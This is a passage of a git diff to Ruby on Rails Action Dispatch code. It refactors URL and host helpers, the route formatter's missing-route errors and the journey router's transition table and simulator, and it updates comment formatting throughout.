+        #     # Second-level domain example
+        #     extract_domain('dev.www.example.co.uk', 2) # => "example.co.uk"
         def extract_domain(host, tld_length)
           extract_domain_from(host, tld_length) if named_host?(host)
         end
 
         # Returns the subdomains of a host as an Array given the domain level.
         #
-        #    # Top-level domain example
-        #    extract_subdomains('www.example.com', 1) # => ["www"]
-        #    # Second-level domain example
-        #    extract_subdomains('dev.www.example.co.uk', 2) # => ["dev", "www"]
+        #     # Top-level domain example
+        #     extract_subdomains('www.example.com', 1) # => ["www"]
+        #     # Second-level domain example
+        #     extract_subdomains('dev.www.example.co.uk', 2) # => ["dev", "www"]
         def extract_subdomains(host, tld_length)
           if named_host?(host)
             extract_subdomains_from(host, tld_length)
@@ -37,10 +138,10 @@ def extract_subdomains(host, tld_length)
 
         # Returns the subdomains of a host as a String given the domain level.
         #
-        #    # Top-level domain example
-        #    extract_subdomain('www.example.com', 1) # => "www"
-        #    # Second-level domain example
-        #    extract_subdomain('dev.www.example.co.uk', 2) # => "dev.www"
+        #     # Top-level domain example
+        #     extract_subdomain('www.example.com', 1) # => "www"
+        #     # Second-level domain example
+        #     extract_subdomain('dev.www.example.co.uk', 2) # => "dev.www"
         def extract_subdomain(host, tld_length)
           extract_subdomains(host, tld_length).join(".")
         end
@@ -66,10 +167,11 @@ def full_url_for(options)
         end
 
         def path_for(options)
-          path = options[:script_name].to_s.chomp("/".freeze)
+          path = options[:script_name].to_s.chomp("/")
           path << options[:path] if options.key?(:path)
 
-          add_trailing_slash(path) if options[:trailing_slash]
+          path = "/" if options[:trailing_slash] && path.blank?
+
           add_params(path, options[:params]) if options.key?(:params)
           add_anchor(path, options[:anchor]) if options.key?(:anchor)
 
@@ -77,111 +179,99 @@ def path_for(options)
         end
 
         private
-
-        def add_params(path, params)
-          params = { params: params } unless params.is_a?(Hash)
-          params.reject! { |_, v| v.to_param.nil? }
-          query = params.to_query
-          path << "?#{query}" unless query.empty?
-        end
-
-        def add_anchor(path, anchor)
-          if anchor
-            path << "##{Journey::Router::Utils.escape_fragment(anchor.to_param)}"
+          def add_params(path, params)
+            params = { params: params } unless params.is_a?(Hash)
+            params.reject! { |_, v| v.to_param.nil? }
+            query = params.to_query
+            path << "?#{query}" unless query.empty?
           end
-        end
 
-        def extract_domain_from(host, tld_length)
-          host.split(".").last(1 + tld_length).join(".")
-        end
-
-        def extract_subdomains_from(host, tld_length)
-          parts = host.split(".")
-          parts[0..-(tld_length + 2)]
-        end
+          def add_anchor(path, anchor)
+            if anchor
+              path << "##{Journey::Router::Utils.escape_fragment(anchor.to_param)}"
+            end
+          end
 
-        def add_trailing_slash(path)
-          # includes querysting
-          if path.include?("?")
-            path.sub!(/\?/, '/\&')
-          # does not have a .format
-          elsif !path.include?(".")
-            path.sub!(/[^\/]\z|\A\z/, '\&/')
+          def extract_domain_from(host, tld_length)
+            domain_extractor.domain_from(host, tld_length)
           end
-        end
 
-        def build_host_url(host, port, protocol, options, path)
-          if match = host.match(HOST_REGEXP)
-            protocol ||= match[1] unless protocol == false
-            host       = match[2]
-            port       = match[3] unless options.key? :port
+          def extract_subdomains_from(host, tld_length)
+            domain_extractor.subdomains_from(host, tld_length)
           end
 
-          protocol = normalize_protocol protocol
-          host     = normalize_host(host, options)
+          def build_host_url(host, port, protocol, options, path)
+            if match = host.match(HOST_REGEXP)
+              protocol_from_host = match[1] if protocol.nil?
+              host               = match[2]
+              port               = match[3] unless options.key? :port
+            end
 
-          result = protocol.dup
+            protocol = protocol_from_host || normalize_protocol(protocol).dup
+            host     = normalize_host(host, options)
+            port     = normalize_port(port, protocol)
 
-          if options[:user] && options[:password]
-            result << "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
-          end
+            result = protocol
 
-          result << host
-          normalize_port(port, protocol) { |normalized_port|
-            result << ":#{normalized_port}"
-          }
+            if options[:user] && options[:password]
+              result << "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
+            end
 
-          result.concat path
-        end
+            result << host
 
-        def named_host?(host)
-          IP_HOST_REGEXP !~ host
-        end
+            result << ":" << port.to_s if port
 
-        def normalize_protocol(protocol)
-          case protocol
-          when nil
-            "http://"
-          when false, "//"
-            "//"
-          when PROTOCOL_REGEXP
-            "#{$1}://"
-          else
-            raise ArgumentError, "Invalid :protocol option: #{protocol.inspect}"
+            result.concat path
+          end
+
+          def named_host?(host)
+            !IP_HOST_REGEXP.match?(host)
+          end
+
+          def normalize_protocol(protocol)
+            case protocol
+            when nil
+              secure_protocol ? "https://" : "http://"
+            when false, "//"
+              "//"
+            when PROTOCOL_REGEXP
+              "#{$1}://"
+            else
+              raise ArgumentError, "Invalid :protocol option: #{protocol.inspect}"
+            end
           end
-        end
 
-        def normalize_host(_host, options)
-          return _host unless named_host?(_host)
+          def normalize_host(_host, options)
+            return _host unless named_host?(_host)
 
-          tld_length = options[:tld_length] || @@tld_length
-          subdomain  = options.fetch :subdomain, true
-          domain     = options[:domain]
+            tld_length = options[:tld_length] || @@tld_length
+            subdomain  = options.fetch :subdomain, true
+            domain     = options[:domain]
 
-          host = ""
-          if subdomain == true
-            return _host if domain.nil?
+            host = +""
+            if subdomain == true
+              return _host if domain.nil?
 
-            host << extract_subdomains_from(_host, tld_length).join(".")
-          elsif subdomain
-            host << subdomain.to_param
+              host << extract_subdomains_from(_host, tld_length).join(".")
+            elsif subdomain
+              host << subdomain.to_param
+            end
+            host << "." unless host.empty?
+            host << (domain || extract_domain_from(_host, tld_length))
+            host
           end
-          host << "." unless host.empty?
-          host << (domain || extract_domain_from(_host, tld_length))
-          host
-        end
 
-        def normalize_port(port, protocol)
-          return unless port
+          def normalize_port(port, protocol)
+            return unless port
 
-          case protocol
-          when "//" then yield port
-          when "https://"
-            yield port unless port.to_i == 443
-          else
-            yield port unless port.to_i == 80
+            case protocol
+            when "//" then port
+            when "https://"
+              port unless port.to_i == 443
+            else
+              port unless port.to_i == 80
+            end
           end
-        end
       end
 
       def initialize
@@ -192,157 +282,156 @@ def initialize
 
       # Returns the complete URL used for this request.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
-      #   req.url # => "http://example.com"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #     req.url # => "http://example.com"
       def url
         protocol + host_with_port + fullpath
       end
 
       # Returns 'https://' if this is an SSL request and 'http://' otherwise.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
-      #   req.protocol # => "http://"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #     req.protocol # => "http://"
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com', 'HTTPS' => 'on'
-      #   req.protocol # => "https://"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com', 'HTTPS' => 'on'
+      #     req.protocol # => "https://"
       def protocol
         @protocol ||= ssl? ? "https://" : "http://"
       end
 
-      # Returns the \host and port for this request, such as "example.com:8080".
+      # Returns the host and port for this request, such as "example.com:8080".
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
-      #   req.raw_host_with_port # => "example.com"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #     req.raw_host_with_port # => "example.com"
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
-      #   req.raw_host_with_port # => "example.com:80"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #     req.raw_host_with_port # => "example.com:80"
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.raw_host_with_port # => "example.com:8080"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.raw_host_with_port # => "example.com:8080"
       def raw_host_with_port
         if forwarded = x_forwarded_host.presence
           forwarded.split(/,\s?/).last
         else
-          get_header("HTTP_HOST") || "#{server_name || server_addr}:#{get_header('SERVER_PORT')}"
+          get_header("HTTP_HOST") || "#{server_name}:#{get_header('SERVER_PORT')}"
         end
       end
 
       # Returns the host for this request, such as "example.com".
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.host # => "example.com"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.host # => "example.com"
       def host
-        raw_host_with_port.sub(/:\d+$/, "".freeze)
+        raw_host_with_port.sub(/:\d+$/, "")
       end
 
-      # Returns a \host:\port string for this request, such as "example.com" or
-      # "example.com:8080". Port is only included if it is not a default port
-      # (80 or 443)
+      # Returns a host:port string for this request, such as "example.com" or
+      # "example.com:8080". Port is only included if it is not a default port (80 or
+      # 443)
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
-      #   req.host_with_port # => "example.com"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #     req.host_with_port # => "example.com"
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
-      #   req.host_with_port # => "example.com"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #     req.host_with_port # => "example.com"
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.host_with_port # => "example.com:8080"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.host_with_port # => "example.com:8080"
       def host_with_port
         "#{host}#{port_string}"
       end
 
       # Returns the port number of this request as an integer.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
-      #   req.port # => 80
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com'
+      #     req.port # => 80
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.port # => 8080
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.port # => 8080
       def port
-        @port ||= begin
-          if raw_host_with_port =~ /:(\d+)$/
-            $1.to_i
-          else
-            standard_port
-          end
+        @port ||= if raw_host_with_port =~ /:(\d+)$/
+          $1.to_i
+        else
+          standard_port
         end
       end
 
-      # Returns the standard \port number for this request's protocol.
+      # Returns the standard port number for this request's protocol.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.standard_port # => 80
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.standard_port # => 80
       def standard_port
-        case protocol
-        when "https://" then 443
-          else 80
+        if "https://" == protocol
+          443
+        else
+          80
         end
       end
 
-      # Returns whether this request is using the standard port
+      # Returns whether this request is using the standard port.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
-      #   req.standard_port? # => true
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #     req.standard_port? # => true
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.standard_port? # => false
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.standard_port? # => false
       def standard_port?
         port == standard_port
       end
 
-      # Returns a number \port suffix like 8080 if the \port number of this request
-      # is not the default HTTP \port 80 or HTTPS \port 443.
+      # Returns a number port suffix like 8080 if the port number of this request is
+      # not the default HTTP port 80 or HTTPS port 443.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
-      #   req.optional_port # => nil
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #     req.optional_port # => nil
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.optional_port # => 8080
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.optional_port # => 8080
       def optional_port
         standard_port? ? nil : port
       end
 
-      # Returns a string \port suffix, including colon, like ":8080" if the \port
-      # number of this request is not the default HTTP \port 80 or HTTPS \port 443.
+      # Returns a string port suffix, including colon, like ":8080" if the port number
+      # of this request is not the default HTTP port 80 or HTTPS port 443.
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
-      #   req.port_string # => ""
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:80'
+      #     req.port_string # => ""
       #
-      #   req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
-      #   req.port_string # => ":8080"
+      #     req = ActionDispatch::Request.new 'HTTP_HOST' => 'example.com:8080'
+      #     req.port_string # => ":8080"
       def port_string
         standard_port? ? "" : ":#{port}"
       end
 
-      # Returns the requested port, such as 8080, based on SERVER_PORT
+      # Returns the requested port, such as 8080, based on SERVER_PORT.
       #
-      #   req = ActionDispatch::Request.new 'SERVER_PORT' => '80'
-      #   req.server_port # => 80
+      #     req = ActionDispatch::Request.new 'SERVER_PORT' => '80'
+      #     req.server_port # => 80
       #
-      #   req = ActionDispatch::Request.new 'SERVER_PORT' => '8080'
-      #   req.server_port # => 8080
+      #     req = ActionDispatch::Request.new 'SERVER_PORT' => '8080'
+      #     req.server_port # => 8080
       def server_port
         get_header("SERVER_PORT").to_i
       end
 
-      # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
-      # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
+      # Returns the domain part of a host, such as "rubyonrails.org" in
+      # "www.rubyonrails.org". You can specify a different `tld_length`, such as 2 to
+      # catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
       def domain(tld_length = @@tld_length)
         ActionDispatch::Http::URL.extract_domain(host, tld_length)
       end
 
-      # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
-      # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
-      # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
-      # in "www.rubyonrails.co.uk".
+      # Returns all the subdomains as an array, so `["dev", "www"]` would be returned
+      # for "dev.www.rubyonrails.org". You can specify a different `tld_length`, such
+      # as 2 to catch `["www"]` instead of `["www", "rubyonrails"]` in
+      # "www.rubyonrails.co.uk".
       def subdomains(tld_length = @@tld_length)
         ActionDispatch::Http::URL.extract_subdomains(host, tld_length)
       end
 
-      # Returns all the \subdomains as a string, so <tt>"dev.www"</tt> would be
-      # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
-      # such as 2 to catch <tt>"www"</tt> instead of <tt>"www.rubyonrails"</tt>
-      # in "www.rubyonrails.co.uk".
+      # Returns all the subdomains as a string, so `"dev.www"` would be returned for
+      # "dev.www.rubyonrails.org". You can specify a different `tld_length`, such as 2
+      # to catch `"www"` instead of `"www.rubyonrails"` in "www.rubyonrails.co.uk".
       def subdomain(tld_length = @@tld_length)
         ActionDispatch::Http::URL.extract_subdomain(host, tld_length)
       end
diff --git a/actionpack/lib/action_dispatch/journey.rb b/actionpack/lib/action_dispatch/journey.rb
index d1cfc51f3e26d..336469f8cc056 100644
--- a/actionpack/lib/action_dispatch/journey.rb
+++ b/actionpack/lib/action_dispatch/journey.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/journey/router"
 require "action_dispatch/journey/gtg/builder"
 require "action_dispatch/journey/gtg/simulator"
-require "action_dispatch/journey/nfa/builder"
-require "action_dispatch/journey/nfa/simulator"
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
index f3b8e82d32d0b..8343616fdcb97 100644
--- a/actionpack/lib/action_dispatch/journey/formatter.rb
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -1,10 +1,14 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_controller/metal/exceptions"
 
 module ActionDispatch
   # :stopdoc:
   module Journey
     # The Formatter class is used for formatting URLs. For example, parameters
-    # passed to +url_for+ in Rails will eventually call Formatter#generate.
+    # passed to `url_for` in Rails will eventually call Formatter#generate.
     class Formatter
       attr_reader :routes
 
@@ -13,22 +17,74 @@ def initialize(routes)
         @cache  = nil
       end
 
-      def generate(name, options, path_parameters, parameterize = nil)
+      class RouteWithParams
+        attr_reader :params
+
+        def initialize(route, parameterized_parts, params)
+          @route = route
+          @parameterized_parts = parameterized_parts
+          @params = params
+        end
+
+        def path(_)
+          @route.format(@parameterized_parts)
+        end
+      end
+
+      class MissingRoute
+        attr_reader :routes, :name, :constraints, :missing_keys, :unmatched_keys
+
+        def initialize(constraints, missing_keys, unmatched_keys, routes, name)
+          @constraints = constraints
+          @missing_keys = missing_keys
+          @unmatched_keys = unmatched_keys
+          @routes = routes
+          @name = name
+        end
+
+        def path(method_name)
+          raise ActionController::UrlGenerationError.new(message, routes, name, method_name)
+        end
+
+        def params
+          path("unknown")
+        end
+
+        def message
+          message = +"No route matches #{Hash[constraints.sort_by { |k, v| k.to_s }].inspect}"
+          message << ", missing required keys: #{missing_keys.sort.inspect}" if missing_keys && !missing_keys.empty?
+          message << ", possible unmatched constraints: #{unmatched_keys.sort.inspect}" if unmatched_keys && !unmatched_keys.empty?
+          message
+        end
+      end
+
+      def generate(name, options, path_parameters)
+        original_options = options.dup
+        path_params = options.delete(:path_params)
+        if path_params.is_a?(Hash)
+          options = path_params.merge(options)
+        else
+          path_params = nil
+          options = options.dup
+        end
         constraints = path_parameters.merge(options)
-        missing_keys = nil # need for variable scope
+        missing_keys = nil
 
         match_route(name, constraints) do |route|
-          parameterized_parts = extract_parameterized_parts(route, options, path_parameters, parameterize)
+          parameterized_parts = extract_parameterized_parts(route, options, path_parameters)
 
-          # Skip this route unless a name has been provided or it is a
-          # standard Rails route since we can't determine whether an options
-          # hash passed to url_for matches a Rack application or a redirect.
+          # Skip this route unless a name has been provided or it is a standard Rails
+          # route since we can't determine whether an options hash passed to url_for
+          # matches a Rack application or a redirect.
           next unless name || route.dispatcher?
 
           missing_keys = missing_keys(route, parameterized_parts)
           next if missing_keys && !missing_keys.empty?
-          params = options.dup.delete_if do |key, _|
-            parameterized_parts.key?(key) || route.defaults.key?(key)
+          params = options.delete_if do |key, _|
+            # top-level params' normal behavior of generating query_params should be
+            # preserved even if the same key is also a bind_param
+            parameterized_parts.key?(key) || route.defaults.key?(key) ||
+              (path_params&.key?(key) && !original_options.key?(key))
           end
 
           defaults       = route.defaults
@@ -42,43 +98,45 @@ def generate(name, options, path_parameters, parameterize = nil)
             parameterized_parts.delete(key)
           end
 
-          return [route.format(parameterized_parts), params]
+          return RouteWithParams.new(route, parameterized_parts, params)
         end
 
         unmatched_keys = (missing_keys || []) & constraints.keys
         missing_keys = (missing_keys || []) - unmatched_keys
 
-        message = "No route matches #{Hash[constraints.sort_by { |k, v| k.to_s }].inspect}"
-        message << ", missing required keys: #{missing_keys.sort.inspect}" if missing_keys && !missing_keys.empty?
-        message << ", possible unmatched constraints: #{unmatched_keys.sort.inspect}" if unmatched_keys && !unmatched_keys.empty?
-
-        raise ActionController::UrlGenerationError, message
+        MissingRoute.new(constraints, missing_keys, unmatched_keys, routes, name)
       end
 
       def clear
         @cache = nil
       end
 
-      private
+      def eager_load!
+        cache
+        nil
+      end
 
-        def extract_parameterized_parts(route, options, recall, parameterize = nil)
+      private
+        def extract_parameterized_parts(route, options, recall)
           parameterized_parts = recall.merge(options)
 
           keys_to_keep = route.parts.reverse_each.drop_while { |part|
-            !options.key?(part) || (options[part] || recall[part]).nil?
+            !(options.key?(part) || route.scope_options.key?(part)) || (options[part].nil? && recall[part].nil?)
           } | route.required_parts
 
           parameterized_parts.delete_if do |bad_key, _|
             !keys_to_keep.include?(bad_key)
           end
 
-          if parameterize
-            parameterized_parts.each do |k, v|
-              parameterized_parts[k] = parameterize.call(k, v)
+          parameterized_parts.each do |k, v|
+            if k == :controller
+              parameterized_parts[k] = v
+            else
+              parameterized_parts[k] = v.to_param
             end
           end
 
-          parameterized_parts.keep_if { |_, v| v }
+          parameterized_parts.compact!
           parameterized_parts
         end
 
@@ -124,19 +182,10 @@ def non_recursive(cache, options)
           routes
         end
 
-        module RegexCaseComparator
-          DEFAULT_INPUT = /[-_.a-zA-Z0-9]+\/[-_.a-zA-Z0-9]+/
-          DEFAULT_REGEX = /\A#{DEFAULT_INPUT}\Z/
-
-          def self.===(regex)
-            DEFAULT_INPUT == regex
-          end
-        end
-
         # Returns an array populated with missing keys if any are present.
         def missing_keys(route, parts)
           missing_keys = nil
-          tests = route.path.requirements
+          tests = route.path.requirements_for_missing_keys_check
           route.required_parts.each { |key|
             case tests[key]
             when nil
@@ -144,13 +193,8 @@ def missing_keys(route, parts)
                 missing_keys ||= []
                 missing_keys << key
               end
-            when RegexCaseComparator
-              unless RegexCaseComparator::DEFAULT_REGEX === parts[key]
-                missing_keys ||= []
-                missing_keys << key
-              end
             else
-              unless /\A#{tests[key]}\Z/ === parts[key]
+              unless tests[key].match?(parts[key])
                 missing_keys ||= []
                 missing_keys << key
               end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/builder.rb b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
index 0f8bed89bfd7e..dbcefa71e18f8 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/builder.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
@@ -1,55 +1,58 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/journey/gtg/transition_table"
 
 module ActionDispatch
   module Journey # :nodoc:
     module GTG # :nodoc:
       class Builder # :nodoc:
-        DUMMY = Nodes::Dummy.new
+        DUMMY_END_NODE = Nodes::Dummy.new
 
         attr_reader :root, :ast, :endpoints
 
         def initialize(root)
           @root      = root
-          @ast       = Nodes::Cat.new root, DUMMY
-          @followpos = nil
+          @ast       = Nodes::Cat.new root, DUMMY_END_NODE
+          @followpos = build_followpos
         end
 
         def transition_table
           dtrans   = TransitionTable.new
-          marked   = {}
-          state_id = Hash.new { |h, k| h[k] = h.length }
+          marked   = {}.compare_by_identity
+          state_id = Hash.new { |h, k| h[k] = h.length }.compare_by_identity
+          dstates  = [firstpos(root)]
 
-          start   = firstpos(root)
-          dstates = [start]
           until dstates.empty?
             s = dstates.shift
             next if marked[s]
             marked[s] = true # mark s
 
             s.group_by { |state| symbol(state) }.each do |sym, ps|
-              u = ps.flat_map { |l| followpos(l) }
+              u = ps.flat_map { |l| @followpos[l] }.uniq
               next if u.empty?
 
-              if u.uniq == [DUMMY]
-                from = state_id[s]
-                to   = state_id[Object.new]
-                dtrans[from, to] = sym
+              from = state_id[s]
 
+              if u.all? { |pos| pos == DUMMY_END_NODE }
+                to = state_id[Object.new]
+                dtrans[from, to] = sym
                 dtrans.add_accepting(to)
+
                 ps.each { |state| dtrans.add_memo(to, state.memo) }
               else
-                dtrans[state_id[s], state_id[u]] = sym
-
-                if u.include?(DUMMY)
-                  to = state_id[u]
-
-                  accepting = ps.find_all { |l| followpos(l).include?(DUMMY) }
+                to = state_id[u]
+                dtrans[from, to] = sym
 
-                  accepting.each { |accepting_state|
-                    dtrans.add_memo(to, accepting_state.memo)
-                  }
+                if u.include?(DUMMY_END_NODE)
+                  ps.each do |state|
+                    if @followpos[state].include?(DUMMY_END_NODE)
+                      dtrans.add_memo(to, state.memo)
+                    end
+                  end
 
-                  dtrans.add_accepting(state_id[u])
+                  dtrans.add_accepting(to)
                 end
               end
 
@@ -65,7 +68,9 @@ def nullable?(node)
           when Nodes::Group
             true
           when Nodes::Star
-            true
+            # the default star regex is /(.+)/ which is NOT nullable but since different
+            # constraints can be provided we must actually check if this is the case or not.
+            node.regexp.match?("")
           when Nodes::Or
             node.children.any? { |c| nullable?(c) }
           when Nodes::Cat
@@ -90,7 +95,7 @@ def firstpos(node)
               firstpos(node.left)
             end
           when Nodes::Or
-            node.children.flat_map { |c| firstpos(c) }.uniq
+            node.children.flat_map { |c| firstpos(c) }.tap(&:uniq!)
           when Nodes::Unary
             firstpos(node.left)
           when Nodes::Terminal
@@ -103,9 +108,9 @@ def firstpos(node)
         def lastpos(node)
           case node
           when Nodes::Star
-            firstpos(node.left)
+            lastpos(node.left)
           when Nodes::Or
-            node.children.flat_map { |c| lastpos(c) }.uniq
+            node.children.flat_map { |c| lastpos(c) }.tap(&:uniq!)
           when Nodes::Cat
             if nullable?(node.right)
               lastpos(node.left) | lastpos(node.right)
@@ -121,40 +126,22 @@ def lastpos(node)
           end
         end
 
-        def followpos(node)
-          followpos_table[node]
-        end
-
         private
-
-          def followpos_table
-            @followpos ||= build_followpos
-          end
-
           def build_followpos
-            table = Hash.new { |h, k| h[k] = [] }
+            table = Hash.new { |h, k| h[k] = [] }.compare_by_identity
             @ast.each do |n|
               case n
               when Nodes::Cat
                 lastpos(n.left).each do |i|
                   table[i] += firstpos(n.right)
                 end
-              when Nodes::Star
-                lastpos(n).each do |i|
-                  table[i] += firstpos(n)
-                end
               end
             end
             table
           end
 
           def symbol(edge)
-            case edge
-            when Journey::Nodes::Symbol
-              edge.regexp
-            else
-              edge.left
-            end
+            edge.symbol? ? edge.regexp : edge.left
           end
       end
     end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
index d692f6415cdd1..cb682b1727e8d 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
@@ -1,4 +1,6 @@
-require "strscan"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionDispatch
   module Journey # :nodoc:
@@ -12,34 +14,56 @@ def initialize(memos)
       end
 
       class Simulator # :nodoc:
+        STATIC_TOKENS = Array.new(64)
+        STATIC_TOKENS[".".ord] = "."
+        STATIC_TOKENS["/".ord] = "/"
+        STATIC_TOKENS["?".ord] = "?"
+        STATIC_TOKENS.freeze
+
+        INITIAL_STATE = [0, nil].freeze
+
         attr_reader :tt
 
         def initialize(transition_table)
           @tt = transition_table
         end
 
-        def simulate(string)
-          ms = memos(string) { return }
-          MatchData.new(ms)
-        end
+        def memos(string)
+          state = INITIAL_STATE
 
-        alias :=~    :simulate
-        alias :match :simulate
+          pos = 0
+          eos = string.bytesize
 
-        def memos(string)
-          input = StringScanner.new(string)
-          state = [0]
-          while sym = input.scan(%r([/.?]|[^/.?]+))
-            state = tt.move(state, sym)
-          end
+          while pos < eos
+            start_index = pos
+            pos += 1
 
-          acceptance_states = state.find_all { |s|
-            tt.accepting? s
-          }
+            if (token = STATIC_TOKENS[string.getbyte(start_index)])
+              state = tt.move(state, string, token, start_index, false)
+            else
+              while pos < eos && STATIC_TOKENS[string.getbyte(pos)].nil?
+                pos += 1
+              end
 
-          return yield if acceptance_states.empty?
+              token = string.byteslice(start_index, pos - start_index)
+              state = tt.move(state, string, token, start_index, true)
+            end
+          end
+
+          acceptance_states = []
+          states_count = state.size
+          i = 0
+          while i < states_count
+            if state[i + 1].nil?
+              s = state[i]
+              if tt.accepting?(s)
+                acceptance_states.concat(tt.memo(s))
+              end
+            end
+            i += 2
+          end
 
-          acceptance_states.flat_map { |x| tt.memo(x) }.compact
+          acceptance_states.empty? ? yield : acceptance_states
         end
       end
     end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
index beb9f1ef3b4f3..239135ec8af0d 100644
--- a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/journey/nfa/dot"
 
 module ActionDispatch
@@ -8,11 +12,14 @@ class TransitionTable # :nodoc:
 
         attr_reader :memos
 
+        DEFAULT_EXP = /[^.\/?]+/
+
         def initialize
-          @regexp_states = {}
-          @string_states = {}
-          @accepting     = {}
-          @memos         = Hash.new { |h, k| h[k] = [] }
+          @stdparam_states = {}
+          @regexp_states   = {}
+          @string_states   = {}
+          @accepting       = {}
+          @memos           = Hash.new { |h, k| h[k] = [] }
         end
 
         def add_accepting(state)
@@ -39,20 +46,58 @@ def eclosure(t)
           Array(t)
         end
 
-        def move(t, a)
+        def move(t, full_string, token, start_index, token_matches_default)
           return [] if t.empty?
 
-          regexps = []
+          next_states = []
+
+          transitions_count = t.size
+          i = 0
+          while i < transitions_count
+            s = t[i]
+            previous_start = t[i + 1]
+            if previous_start.nil?
+              # In the simple case of a "default" param regex do this fast-path and add all
+              # next states.
+              if token_matches_default && std_state = @stdparam_states[s]
+                next_states << std_state << nil
+              end
 
-          t.map { |s|
-            if states = @regexp_states[s]
-              regexps.concat states.map { |re, v| re === a ? v : nil }
+              # When we have a literal string, we can just pull the next state
+              if states = @string_states[s]
+                state = states[token]
+                next_states << state << nil unless state.nil?
+              end
             end
 
-            if states = @string_states[s]
-              states[a]
+            # For regexes that aren't the "default" style, they may potentially not be
+            # terminated by the first "token" [./?], so we need to continue to attempt to
+            # match this regexp as well as any successful paths that continue out of it.
+            # both paths could be valid.
+            if states = @regexp_states[s]
+              slice_start = if previous_start.nil?
+                start_index
+              else
+                previous_start
+              end
+
+              slice_length = start_index + token.length - slice_start
+              curr_slice = full_string.slice(slice_start, slice_length)
+
+              states.each { |re, v|
+                # if we match, we can try moving past this
+                next_states << v << nil if !v.nil? && re.match?(curr_slice)
+              }
+
+              # and regardless, we must continue accepting tokens and retrying this regexp. we
+              # need to remember where we started as well so we can take bigger slices.
+              next_states << s << slice_start
             end
-          }.compact.concat regexps
+
+            i += 2
+          end
+
+          next_states
         end
 
         def as_json(options = nil)
@@ -65,9 +110,10 @@ def as_json(options = nil)
           end
 
           {
